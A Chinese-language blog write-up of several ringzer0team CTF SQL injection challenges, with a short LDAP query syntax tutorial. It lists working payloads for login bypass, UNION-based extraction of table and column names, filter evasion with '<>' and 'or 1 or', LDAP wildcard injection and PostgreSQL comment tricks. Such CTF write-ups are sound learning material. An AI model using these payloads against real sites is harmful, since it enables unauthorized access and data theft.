[ringzer0team]SQL Injection部分(1)

本文记录一下ringzer0team上SQL Injection部分前十五个的题目。其他ringzer0team的题目参见文末的链接。

Most basic SQLi pattern.

https://ringzer0ctf.com/challenges/1

直接使用万能密码即可,单引号闭合。

ACL rulezzz the world.

https://ringzer0ctf.com/challenges/2

选择不同的用户名,显示相应的用户信息。

使用单引号闭合,验证注入:

order by判断列数为3,使用联合查询。

1
username=admin' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23

经尝试,flag在c2_group表里…

1
username=admin' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 0x63325f67726f7570 %23

1
username=admin' UNION SELECT 1,group_concat(description),3 from c2_group%23

Login portal 1

https://ringzer0ctf.com/challenges/3

经尝试会检测井号#、减号-、等号=,一旦检测到会拦截。

尝试使用<>代替=,使用’1’=’1的方式闭合单引号。

1
username=admin' or '1'<>'2&password=

Random Login Form

https://ringzer0ctf.com/challenges/171

看到既有注册又有登录,先想到了约束攻击和二次注入。

先尝试约束攻击,注册账户admin(加很多空格)1,密码12345678,尝试使用admin和12345678登录。

Just another login form

https://ringzer0ctf.com/challenges/124

尝试使用一些语句发现同样提示:Bad search filter。经查阅知道这是一种基于LDAP的注入。构造payload:

1
username=*&password=*

关于LDAP

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。简单来说,可以理解为LDAP是某种搜索协议,就像我们熟知的数据库一样,我们利用SQL语句进行查询数据库中的数据。而LDAP也有一套自己的查询语句,来进行查询。

LDAP查询语法:

search语法:attribute operator value
search filter options:( “&” or “|” (filter1) (filter2) (filter3) …) (“!” (filter))

=(等于)查找“名“属性为“John”的所有对象,可以使用:

1
(givenName=John)

这会返回“名”属性为“John”的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。

&(逻辑与)如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 Dallas 并且“名”为“John”的所有人员,可以使用:

1
(&(givenName=John)(l=Dallas))

请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

!(逻辑非)此操作符用来排除具有特定属性的对象。假定您需要查找“名”为“John”的对象以外的所有对象。则应使用如下语句:

1
(!givenName=John)

此语句将查找“名”不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明

*(通配符)可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:

1
(title=*)

这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:

1
(givenName=Jo*)

这会返回“名”以“Jo”开头的所有对象。

高级用法eg:您需要一个筛选条件,用来查找居住在 Dallas 或 Austin,并且名为“John”的所有对象。使用的语法应当是:

1
(&(givenName=John)(|(l=Dallas)(l=Austin)))

Po po po po postgresql

https://ringzer0ctf.com/challenges/21

通过查阅治疗了解到postgresql也是一个关系型数据库,使用–+注释而非#。构造payload:

1
username=admin'--+&password=

出现回显:

于是加上两个括号闭合:

1
username=admin'))--+&password=

0 Day Store

https://ringzer0ctf.com/challenges/189

题目在另一个页面:

http://challenges.ringzer0team.com:10189/

目前还未做出来。

Don’t mess with Noemie; she hates admin!

https://ringzer0ctf.com/challenges/52

经尝试,发现=、#、–被检测,于是尝试使用下面payload:

1
username=xxx' or 1 or '&password=1

即使用户xxx不存在也不要紧,毕竟后面有个or 1。

但愿我的博文能对您有所帮助~